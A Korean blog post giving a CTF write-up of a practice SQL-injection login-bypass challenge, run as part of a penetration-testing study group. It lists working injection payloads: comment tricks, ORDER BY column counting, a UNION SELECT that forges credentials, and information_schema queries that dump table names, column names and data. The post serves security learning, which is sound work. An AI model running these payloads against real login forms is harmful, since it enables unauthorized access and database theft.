모의해킹 스터디 CTF 문제 - Login Bypass 3

2024. 11. 23. 15:48·모의해킹/모의해킹 스터디

Login Bypass 3

이번 문제는 normaltic3로 로그인을 성공하면 되는 문제이다.

 

1. 알고 있는 계정(doldol)으로 입력하여 로그인 후 Burp Suite을 확인

doldol 로그인

특이사항이 없다.

 

2. 로그아웃 후 해당 값들을 시도

  • UserId: doldol' and '1'='1 / Password: ‘아무 글자’ → 로그인 실패
  • UserId: doldol' and '1'='1 / Password: ‘doldol 비밀번호’ → 로그인 성공
    • sql 인젝션 공격이 가능하다.
  • UserId: doldol' or '1'='1 / Password: ‘아무 글자’ → 로그인 실패
  • UserId: doldol' or '1'='1 / Password: ‘doldol 비밀번호’ → 로그인 실패
    • ‘or’ 글자를 필터링 하였다. or 식별/인증 분리 로직이다.
  • UserId: doldol' || '1'='1 / Password: ‘doldol 비밀번호’ → 로그인 실패
  • UserId: doldol' || '1'='1 / Password: ‘아무 글자’ → 로그인 실패
    • ‘||’ 글자를 필터링 하였다. or 식별/인증 분리 로직이다.
  • UserId: doldol' - - / Password: ‘아무 글자’ → 로그인 실패
  • UserId: doldol' - - / Password: ‘doldol 비밀번호’ → 로그인 실패
    • ‘- -’ 글자를 필터링 하였다 or 식별/인증 분리 로직이다.
  • UserId: doldol' # / Password: ‘아무 글자’ → 로그인 실패
  • UserId: doldol' # / Password: ‘doldol 비밀번호’ → 로그인 성공
    • 식별/인증 분리 로직이다.

SQL 구문은

SELECT * FROM 테이블명 WHERE userId = {UserId}
if(dbPassword == {Password}) { }

 해당 구조로 예상된다.

doldol 로그인 성공

 

식별 / 인증 분리 로직이므로 로그인해야 할 UserId만 주어진 상황에서는 지금까지 해왔던 SQL 인젝션과 다른 방법을 시도해 봐야 한다.

 

3. 컬럼 개수를 확인

  • doldol' order by 1 # → 로그인 성공
  • doldol' order by 2 # → 로그인 성공
  • doldol' order by 3 # → 로그인 실패
    • 컬럼 개수는 총 2개이다.

 

4. SQL 인젝션 공격 중 데이터를 임의의 데이터를 작성하고 조회할 수 있는 UNION을 사용

   컬럼 개수는 알지만 각 컬럼의 위치는 정확히 모르는 상태이므로

' UNION SELECT 'normaltic3', '1234' #

 

   UserId 의 값을 비워주고 UNION을 작성한다.

  • 실행 시 첫 번째 행만 나오기 때문에 UserId의 값을 비워주고 UNION을 작성한다.
  • 조회 결과
컬럼명 1 컬럼명2
nomarltic3 1234

해당처럼 조회한다. 해당 결과는 서버는 클라이언트로 보내준다.

 

5. 로그인 성공

플래그 확인

  • 컬럼명은 UserId, Password 순 이었던 것으로 보인다.

union + 주석 추가 결과

  • 주석이 없는 ' UNION SELECT 'normaltic3', '1234 도 로그인이 성공하는 것으로 봐선 예상했던 쿼리 구조가 맞는 것 같다.

union 만 사용 결과


UNION사용이 가능하다면 DB전체 추출도 시도해 볼만하다.

 

UNION으로 DB 추출

   1. DB 명 추출

' UNION select database(), '1234

DB 명추출

     2. 테이블명 추출

 ' UNION SELECT GROUP_CONCAT(table_name), '1234' from information_schema.tables where table_schema = '스키마명' #

테이블명 추출

      총 5개가 나온다. 여기서 플래그에 관련한 테이블의 컬럼을 추출해보려고 한다.

 

   3. 컬럼명 추출

 ' UNION SELECT GROUP_CONCAT(column_name), '1234' from information_schema.columns where table_name = '태이블명

컬럼명 추출

      총 2개가 나오는 걸 볼 수 있다. 이제 데이터를 추출해 보자. 

 

   4, 데이터 추출

 ' UNION SELECT 컬럼명, '1234' from 테이블명 #

데이터 추출

마지막 한 컬럼도 추출하면 각각의 플래그 값을 확인해 볼 수 있다.

 

후기

  • UNION을 사용하여 데이터들 추출할 수 있는 방법에 대해 배웠다.
  • UNION을 사용할 때 GROUT_CONCAT을 사용하였지만 더 사이트의 구성에 따라 여러 데이터가 안 보일 수 있는 상황이 올 수 있다. 이때 LIMIT를 사용하여 한 줄 씩만 출력하거나 개발자도구를 활용하여 여러 데이터를 한 번에 보일 수 있게 하면 될 것 같다.
728x90
반응형
저작자표시 비영리 동일조건 (새창열림)

'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글

모의해킹 스터디 CTF 문제 - Login Bypass5  (0) 2024.11.25
모의해킹 스터디 CTF 문제 - Login Bypass 4  (0) 2024.11.24
모의해킹 스터디 CTF 문제 - Login Bypass 2  (0) 2024.11.22
모의해킹 스터디 CTF 문제 - Login Bypass 1  (0) 2024.11.22
모의해킹 스터디 6주차 정리  (0) 2024.11.21
'모의해킹/모의해킹 스터디' 카테고리의 다른 글
  • 모의해킹 스터디 CTF 문제 - Login Bypass5
  • 모의해킹 스터디 CTF 문제 - Login Bypass 4
  • 모의해킹 스터디 CTF 문제 - Login Bypass 2
  • 모의해킹 스터디 CTF 문제 - Login Bypass 1
BPM37093
BPM37093
luna의 IT기술 정리
  • BPM37093
    IT Study Log
    BPM37093
  • 링크

  • 글쓰기 관리
    • 분류 전체보기 (43)
      • 모의해킹 (37)
        • 웹해킹 (1)
        • 모의해킹 스터디 (36)
      • Web (5)
        • 웹 보안 (1)
        • 웹 크롤링 (1)
      • Data (0)
      • Cloud (0)
      • Network (1)
  • 인기 글

  • 방문자 수

    방문자수Total

    • Today :
  • 태그

    SQL
    php
    웹해킹
    mysql
    오블완
    모의해킹스터디
    HTML
    httprequest
    burpsuite
    상태코드
    javascript
    hash
    티스토리챌린지
    Chrome
    WEB
    HTTP
    HttpResponse
    NAT
    메서드
    Network
    sqlinjection
    웹개발
  • hELLO· Designed By정상우.v4.10.1
BPM37093
모의해킹 스터디 CTF 문제 - Login Bypass 3
상단으로

티스토리툴바